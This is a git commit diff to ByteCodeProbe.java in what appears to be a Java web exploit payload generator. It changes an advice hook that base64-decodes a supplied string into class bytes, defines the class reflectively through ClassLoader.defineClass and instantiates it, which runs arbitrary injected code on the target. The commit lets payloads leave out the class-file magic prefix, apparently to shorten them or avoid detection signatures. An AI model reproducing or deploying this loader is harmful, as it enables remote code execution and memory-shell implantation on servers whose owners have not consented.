feat: byteCode Probe support remove magic str

Author: ReaJason

generator/src/main/java/com/reajason/javaweb/probe/payload/ByteCodeProbe.java

@@ -23,20 +23,22 @@ public ByteCodeProbe(String base64Str) {
     public static String exit(@Advice.Argument(0) String data, @Advice.Return(readOnly = false) String ret) throws Throwable {
         Class<?> decoderClass;
         byte[] classBytes;
+        String base64 = data;
+        if (!data.startsWith("yv66vgAAAD")) {
+            base64 = "yv66vgAAAD" + data;
+        }
         try {
             decoderClass = Class.forName("java.util.Base64");
             Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
-            classBytes = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, data);
+            classBytes = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64);
         } catch (Exception ignored) {
             decoderClass = Class.forName("sun.misc.BASE64Decoder");
-            classBytes = (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), data);
+            classBytes = (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64);
         }
         Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
         defineClass.setAccessible(true);
-        Class<?> clazz = (Class<?>) defineClass.invoke(new URLClassLoader(new URL[]{}), classBytes, 0, classBytes.length);
-        ret = clazz.newInstance().toString();
-        System.out.println(ret);
-        return ret;
+        Class<?> clazz = (Class<?>) defineClass.invoke(new java.net.URLClassLoader(new java.net.URL[]{}), classBytes, 0, classBytes.length);
+        return ret = clazz.newInstance().toString();
     }
 
     @Override